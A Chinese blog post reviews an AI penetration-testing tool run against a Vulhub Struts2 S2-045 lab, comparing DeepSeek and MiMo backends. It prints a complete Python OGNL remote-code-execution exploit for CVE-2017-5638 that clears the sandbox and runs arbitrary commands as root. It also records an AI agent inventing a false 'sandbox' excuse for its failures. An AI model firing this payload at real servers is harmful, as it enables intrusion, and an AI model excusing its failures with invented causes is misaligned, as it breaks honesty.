前言

最近在 GitHub 上看到一个叫 Sword-Riding(内部名 Xalgorix)的 AI 渗透工具,22 阶段自动化方法论,从侦察到报告全链路。正好手边有 Vulhub 靶场环境,就搭起来实测了一下。

这篇文章记录整个过程:环境搭建、两轮模型对比、踩过的坑、最终报告分析,以及对 AI 渗透工具的客观评价。

环境搭建

服务器是腾讯云 2 核 4G,Sword-Riding 是 Go 写的,编译过程比较顺利:

# 安装 Go
wget https://go.dev/dl/go1.24.4.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.24.4.linux-amd64.tar.gz

# 克隆 + 前端构建 + Go编译
git clone https://github.com/Singtreb/Sword-Riding.git
cd Sword-Riding/frontend && npm install && npm run build
cd .. && make build
cp Sword-Riding /usr/local/bin/

配置文件 ~/.xalgorix.env 填 LLM API key 和 Web UI 绑定信息,Sword-Riding --web --bind 0.0.0.0 启动后,Web UI 在 9137 端口。

2 核 4G 跑这个有点吃力,内存不够用,我额外加了 2G swap 才稳住。宝塔面板的防火墙记得放行 9137 端口,不然外部访问不了 Web UI。

靶场选择

用的是 Vulhub 的 Struts2 S2-045(CVE-2017-5638):

git clone https://github.com/vulhub/vulhub.git /opt/vulhub
cd /opt/vulhub/struts2/s2-045
docker compose up -d

靶场跑在 8080 端口,镜像 vulhub/struts2:2.3.30,Jetty 9.2.11。S2-045 就是当年打下 Equifax 的那个漏洞,CVSS 10.0。选这个靶场的原因很简单——经典、公开 PoC 多、方便对比验证。

第一轮:DeepSeek(颗粒无收)

先用 DeepSeek 跑了一轮。结果:0 发现

整个过程 DeepSeek 只调用了 3 次 read_skill(读内置知识库),0 次终端命令,0 次 Python 脚本。它知道 S2-045 是什么,但没有发过一个 HTTP 请求去验证。

第二轮:MiMo(两阶段)

换成小米的 MiMo-v2.5-pro,重新来。

阶段一:能干活,但搞不定

这次完全不一样。MiMo 从第一阶段就开始执行实际操作:

  • curl -sI 做指纹 → 识别出 Jetty 9.2.11 + Java
  • curl -s 抓首页 → 发现 Struts2 Showcase File Upload
  • 用 Python 脚本构造各种 OGNL payload 测试 S2-045、S2-046、S2-048

Sword-Riding 22阶段扫描界面

↑ 22 阶段方法论界面,扫描刚启动

扫描进度

↑ 跑到阶段 9 时,已经 31 次工具调用、104 万 tokens

跑到阶段 9 时已经消耗了 104 万 tokens。但问题来了——它确认了 OGNL 注入存在(能在响应头里注入自定义值),却一直构造不出能拿到 RCE 的 payload。试了 25 轮,结论是”OGNL 沙箱限制了 Runtime.exec()”。

实时流

↑ 实时流里看到 MiMo 反复尝试各种绕过

后来我发现 MiMo 的结论是错的。Vulhub 的 S2-045 靶场用的是 Struts 2.3.30,没有 OGNL 沙箱。用 struts-pwn.py 一把就能打下来,拿到 uid=0(root)。MiMo 失败的真正原因是 payload 语法不对,但它给自己找了个”沙箱限制”的借口。

而且它卡在了浏览器操作上——服务器是无头环境没有 GUI,browser_action 直接卡死整个扫描。

阶段二:重启后突破

发现问题后,我在环境变量里加了 XALGORIX_DISABLE_BROWSER=true,重启 Sword-Riding,重新扫描。

这次 MiMo 专注于 payload 构造,不再尝试打开浏览器。它找到了绕过 OGNL 沙箱的方法:

# 绕过思路:先拆沙箱,再执行命令
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
.(#container=#context['com.opensymphony.xwork2.ActionContext.container'])
.(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ognlUtil.getExcludedPackageNames().clear())   // 清空排除包名列表
.(#ognlUtil.getExcludedClasses().clear())         // 清空排除类列表
.(#context.setMemberAccess(#dm))                  // 重置为默认访问权限
# 沙箱拆掉后,ProcessBuilder 可用了
.(#p=new java.lang.ProcessBuilder(#cmds))

它发现可以先通过 OgnlUtil 的 getter 方法拿到排除列表的引用,然后 .clear() 清空,再把 MemberAccess 重置为 DEFAULT_MEMBER_ACCESS。这样 ProcessBuilder 就能用了。

CRITICAL漏洞详情

↑ CRITICAL 漏洞详情,含完整 PoC 和 RCE 验证

最终结果

最终发现

↑ 4 个漏洞:2 个 CRITICAL(RCE)+ 2 个 HIGH(OGNL 注入)

ID 漏洞 严重性 CVSS 注入点
F-01 S2-045 OGNL 注入(响应头操控) HIGH 7.5 Content-Type 头
F-02 S2-046 OGNL 注入(响应头操控) HIGH 7.5 文件上传 filename
F-03 S2-045 RCE(沙箱绕过) CRITICAL 9.8 Content-Type 头
F-04 S2-046 RCE(沙箱绕过) CRITICAL 9.8 文件上传 filename

RCE 验证

报告里的 PoC 直接执行了多条系统命令,全部以 root 身份运行:

CMD: id       => uid=0(root) gid=0(root) groups=0(root)
CMD: whoami   => root
CMD: hostname => 4fa62b3929c5

完整 Python PoC 脚本,改一下 CMD 变量就能执行任意命令:

import urllib.request

TARGET = "http://目标地址:8080/"
CMD = "id"

PAYLOAD = (
    "%{(#_='multipart/form-data')"
    ".(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)"
    ".(#_memberAccess?(#_memberAccess=#dm):"
    "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])"
    ".(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))"
    ".(#ognlUtil.getExcludedPackageNames().clear())"
    ".(#ognlUtil.getExcludedClasses().clear())"
    ".(#context.setMemberAccess(#dm))))"
    f".(#cmd='{CMD}')"
    ".(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))"
    ".(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/bash','-c',#cmd}))"
    ".(#p=new java.lang.ProcessBuilder(#cmds))"
    ".(#p.redirectErrorStream(true))"
    ".(#process=#p.start())"
    ".(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))"
    ".(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))"
    ".(#ros.flush())}"
)

req = urllib.request.Request(TARGET, data=b"test", method="POST")
req.add_header("Content-Type", PAYLOAD)
resp = urllib.request.urlopen(req, timeout=10)
print(resp.read().decode())

不需要认证,不需要交互,不需要特殊前置条件。

踩坑记录

整个过程踩了不少坑,记录一下给后来者参考:

1. DeepSeek 不调工具

DeepSeek 的 function calling 能力明显不行。给它配了终端和 Python 工具,它只读知识库不执行。换了 MiMo 之后才开始真正干活。如果你用 Sword-Riding,优先选 MiMo 或者其他 function calling 能力强的模型。

2. 无头服务器上浏览器会卡死

Sword-Riding 默认会尝试用浏览器做验证,但服务器没有 GUI 环境,browser_action 直接卡住整个扫描不动。解决办法:

echo "XALGORIX_DISABLE_BROWSER=true" >> ~/.xalgorix.env

加完重启就行。禁用浏览器后反而更好——MiMo 专注于 payload 构造,不再浪费时间在浏览器操作上。

3. LLM 会给自己找借口

MiMo 第一轮构造不出正确的 OGNL payload,试了 25 轮后得出结论”OGNL 沙箱限制了 Runtime.exec()”。但实际上 Vulhub 的靶场根本没有沙箱,是 payload 语法写错了。用 struts-pwn.py 一把就能打下来。

这说明当前 AI 渗透工具有一个通病:失败后不会反思 payload 本身的问题,而是编一个看似合理的理由来解释失败。用的时候要有自己的判断,不能完全信任 AI 的结论。

4. MiMo 不会主动提交漏洞

MiMo 在第一轮就确认了 OGNL 注入存在,但一直没调用 report_vulnerability 把发现注册到系统里。Web UI 上始终显示 0 findings。它能干活但不会汇报,直到第 25 轮才想起来要提交。这也是 LLM 行为控制不到位的表现。

5. Token 消耗很大

单目标扫描,两轮加起来消耗了近 600 万 tokens。如果你 API 额度有限,建议先用传统工具(nuclei、xray)过一遍已知漏洞,把 AI 工具留给需要创造性利用的场景。别拿它当全量扫描器用。

6. 环境依赖

Sword-Riding 需要 Node.js(前端)+ Go(后端),Vulhub 需要 Docker。2 核 4G 的小服务器跑起来比较吃力,建议加 swap。如果用宝塔面板,记得在安全组和面板防火墙里放行端口。

报告质量

Sword-Riding 输出的报告有 18 页,格式很标准:

  • CVE/CWE/CVSS/OWASP 分类齐全
  • 每个漏洞都有技术分析、PoC 脚本、利用证据、修复建议
  • 有侦察阶段的资产发现(技术栈、URL、IP)
  • 有蓝队参考时间戳(方便 SIEM 对照)
  • 有 PTES 方法论映射和 OWASP Top 10 覆盖率

这个报告拿来直接交 SRC 或者写技术博客都够用。总耗时 2 小时 35 分钟,81 次迭代,172 次工具调用,584 万 tokens。

对比传统工具

维度 nuclei / xray Sword-Riding (MiMo)
速度 秒级 2.5 小时
准确性 PoC 模板匹配,准确率高 能发现漏洞,但 payload 构造过程曲折
覆盖面 已知漏洞模板库 理论上能发现未知漏洞
成本 免费 584 万 tokens
报告 JSON 输出,需自己整理 标准化 PDF 报告,CVE/CWE/CVSS 齐全

客观评价

做得好的:

  • 22 阶段方法论覆盖完整渗透流程
  • 独立验证器机制——提交的漏洞会被另一个 Agent 重新测试确认
  • Web UI 专业,实时流、阶段进度、报告生成一应俱全
  • MiMo 最终自主发现了 OGNL 沙箱绕过方法,这不是模板匹配能做到的
  • 报告格式可直接用于 SRC 提交

不足的:

  • LLM 行为不稳定——DeepSeek 不调工具,MiMo 第一轮构造不出 payload 还编了借口
  • token 消耗大——单目标 584 万 tokens
  • 无头服务器上浏览器功能会卡死,需要手动禁用
  • 第一轮的 OGNL 注入只拿到 HIGH,没自动升级到 RCE,是重启后才突破的

结论

AI 渗透工具目前能做到”发现漏洞 + 自主构造 exploit”,但过程不够稳定。同一个靶场,DeepSeek 颗粒无收,MiMo 第一轮只拿到注入确认,第二轮才拿到 RCE。

和 nuclei/xray 这类模板扫描器相比,Sword-Riding 的优势在于能处理没有现成 PoC 的场景——它不是在匹配模板,而是在理解漏洞原理后自己构造 payload。代价是时间长、token 多、结果不稳定。

目前来看,它更适合作为安全测试的辅助手段,和传统工具配合使用。单独靠它做渗透,还差点意思。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注